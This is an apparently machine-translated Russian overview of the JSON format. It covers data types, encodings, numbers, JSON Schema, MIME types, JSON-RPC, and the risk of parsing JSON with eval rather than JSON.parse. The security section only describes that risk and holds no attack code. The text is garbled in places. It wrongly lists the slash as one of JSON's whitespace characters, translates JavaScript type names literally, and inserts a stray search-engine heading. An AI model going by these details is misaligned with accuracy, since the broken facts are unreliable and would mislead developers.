• Строка: последовательность из нуля или больших символов Unicode. Строки разделяются знаками двойных кавычек и поддерживают синтаксис обратной косой чертой.
• Литералы: любое из значений true или false.
• Массив: упорядоченный список из нуля или более значений, каждый из которых может быть любого типа. Массивы используют квадратные скобки с запятыми.
• Объект: неупорядоченный набор пар имя/значение, где имена (также называемые ключами) являются строками. Поскольку объекты предназначены для представления ассоциативных массивов, рекомендуется (хотя и не обязательно), чтобы каждый ключ был уникальным внутри него. Объекты разделяют фигурными скобками и используют запятые для разделения каждой пары, в то время как внутри каждой из них символ двоеточия отделяет ключ или имя от его значения.
• Null: Пустое значение, использующее слово null.

Ограниченные пробелы разрешены и могут быть выставлены вокруг или между синтаксическими элементами (значения и пунктуации, но не в пределах строкового значения). Для этой цели только четыре специальных символа считаются пробелами: пробел, горизонтальная вкладка, перевод строки и косая черта. В частности, метка байтового порядка не должна генерироваться соответствующей реализацией (хотя она может быть принята при синтаксическом анализе JSON). Запрос в формате JSON не предоставляет синтаксиса для комментариев.

Ранние версии (например, указанные в RFC 4627) требовали, чтобы действительный документ состоял только из объекта или типа массива, который мог содержать другие типы внутри них. Такой JSON-формат, пример которого можно найти на устаревших веб-страницах, в настоящее время не используется.

Проблемы с переносимостью данных

Несмотря на то, что Дуглас Крокфорд первоначально утверждал, что JSON является строгим подмножеством JavaScript, его спецификация фактически позволяет создавать документы, нечитаемые в JavaScript. В частности, JSON допускает, чтобы значения строк Unicode U + 2028 LINE SEPARATOR и U + 2029 PARAGRAPH SEPARATOR выглядели неэкранированными в цитируемых строках, а JavaScript - нет. Это является следствием того, что JSON запрещает только «управляющие символы». Для максимальной совместимости эти символы должны быть экранированы с обратной косой чертой. Эта тонкость важна при создании JSONP.

JSON-формат: чем открыть?

Документы JSON могут кодироваться в UTF-8, UTF-16 или UTF-32, кодировка по умолчанию - UTF-8. Эти стандарты поддерживают полный набор символов "Юникода", включая символы вне основной многоязыковой плоскости (от U + 10000 до U + 10FFFF). Однако, если они экранированы, эти символы должны быть написаны с использованием суррогатных пар UTF-16 - детали, пропускаемой некоторыми анализаторами JSON-формат. Чем открыть и как будет прочитан такой файл?

Числа в данном формате являются агностическими в отношении их представления в языках программирования. Нет никакого различия между целым числом и значением с плавающей запятой: некоторые реализации могут рассматривать 42, 42.0 и 4.2E + 1 как одно и то же число, в то время как другие могут не делать этого. Кроме того, отсутствуют требования в отношении таких вопросов, как переполнение, недостаточность, потеря точности или округление. Кроме того, формат JSON ничего не говорит об обработке подписанных нулей, независимо от того, является ли 0.0 отличным от -0.0. Большинство реализаций, использующих стандарт IEEE 754 с плавающей запятой, включая JavaScript, сохраняют знаковые нули, но не все реализации JSON могут это делать.

Использование в JavaScript

Поскольку формат JSON был получен из JavaScript и его синтаксис (в основном) является подмножеством языка, для анализа данных JSON можно использовать функцию JavaScripteval. Из-за проблемы с разбором терминаторов строк Unicode, рассмотренных в предыдущем разделе, функция eval должна выполнить их замену.

Это небезопасно, если строка не проверена надлежащим образом. Вместо этого для чтения и записи JSON следует использовать библиотеку парсера JSON или его поддержку на JavaScript.

Правильно реализованный синтаксический анализатор принимает только действительный формат JSON, описание которого присутствует в системе, предотвращая непреднамеренное выполнение потенциально вредоносного кода.

С 2010 года в таких веб-браузерах как Firefox и Internet Explorer включена поддержка анализа и выгрузка в JSON-формат.

Неподдерживаемые собственные типы данных

Синтаксис JavaScript определяет несколько собственных типов данных, которые не включены в стандарт JSON: Карта, Установить, Дата, Ошибка, Регулярное выражение, Функция и некоторые другие. Эти типы данных JavaScript должны быть представлены некоторыми другими форматами, при этом обе программы согласовывают способ преобразования между типами. Сегодня существуют некоторые стандарты defacto, например, преобразование даты в строку, но ни один из них не является общепризнанным. Другие языки могут иметь различный набор собственных типов, которые должны быть сериализованы тщательно, чтобы иметь дело с этим типом преобразования.

Схема JSON

Схема служит для определения структуры данных JSON для проверки, документирования и управления взаимодействием. Она предоставляет своего рода контракт на данные, требуемые приложением, и способ их изменения.

Схема основана на концепциях из XML Schema (XSD), но является собственной. Как и в XSD, используются те же средства сериализации/десериализации как для схемы, так и для данных.

Schema - это интернет-проект, который в настоящее время находится в 5-й версии (выпущенной 13 октября 2016 года). Существует несколько валидаторов, доступных для разных языков программирования, каждый из которых обладает различным уровнем соответствия. Стандартного расширения файлов нет, но некоторые специалисты предлагают утвердить.schema.json.

Тип MIME

Официальным типом MIME для текста JSON является «application/json». Несмотря на то что в большинстве современных реализаций принят официальный MIME-тип, многие приложения продолжают обеспечивать унаследованную поддержку других типов MIME. Многие поставщики услуг, браузеры, серверы, веб-приложения, библиотеки, фреймворки и API используют, ожидают или распознают тип MIME, содержимое которого выглядит как «текст/json» или «текст/javascript». Известные примеры включают в себя Google Search API, Yahoo!, Flickr, Facebook API, DojoToolkit 0.4 и так далее.

JSON-RPC

JSON-RPC - это протокол удаленного вызова процедур (RPC), построенный на JSON, созданный в качестве замены для XML-RPC или SOAP. Это простой протокол, который определяет только несколько типов данных и команд. Он позволяет системе отправлять уведомления (информацию на сервер, который не требует ответа) и несколько вызовов на сервер, на которые можно ответить не по порядку.

AJAJ

Асинхронный JavaScript и JSON (или AJAJ) относятся к той же динамической методологии веб-страниц, что и Ajax, но вместо XML именно формат данных JSON является основным. AJAJ - это технология веб-разработки, которая обеспечивает возможность веб-страницы запрашивать новые данные после загрузки в браузер. Обычно он отображает их с сервера в ответ на действия пользователя на этой странице. Например, то, что пользователь вводит в поле поиска, клиентский код затем отправляет на сервер, который сразу же отвечает раскрывающимся списком соответствующих элементов базы данных.

Проблемы безопасности

Текст в JSON-формате определяется как объект сериализации данных. Однако его дизайн, как нестрогое подмножество языка сценариев JavaScript, создает несколько проблем безопасности. Они сосредоточены на использовании интерпретатора "Яваскрипт" для динамического выполнения текста JSON, как встроенного JavaScript. Это подвергает программу ошибочным или злонамеренным скриптам. Это серьезная проблема при работе с данными, извлекаемыми из Интернета.

Данный простой и популярный, но рискованный метод использует совместимость с функцией JavaScripteval.

Некоторые разработчики ошибочно полагают, что текст в формате JSON также является синтаксически аналогичным кодом JavaScript, хотя это только отчасти верно. Поэтому считается, что простой способ для JavaScript-программы анализировать данные в этом формате - использование встроенной функции JavaScripteval, которая была разработана для оценки выражений "Яваскрипт". Вместо использования специфического парсера сам интерпретатор, таким образом, используется для выполнения данных JSON, создавая естественные JavaScript-объекты. Однако этот метод является рискованным, если есть вероятность, что данные JSON могут содержать произвольный код "Яваскрипт", который затем будет выполнен так же. Если сначала не будут приняты меры для проверки данных, метод eval подвержен уязвимостям безопасности, когда данные и вся среда JavaScript не находятся под контролем одного доверенного источника.

Например, если данные не проверены, они подвергаются атакам вредоносного кода JavaScript. Такие нарушения также могут создавать опасность кражи данных, подделки аутентификации и другие потенциальные злоупотребления данными и ресурсами.

Таким образом, новая функция JSON.parse была разработана как более безопасная альтернатива eval. Она специально предназначена для обработки данных именно JSON, а не JavaScript. Первоначально она была запланирована для включения в четвертое издание стандарта ECMAScript, но этого не произошло. Она была впервые добавлена в пятую версию и теперь поддерживается основными браузерами.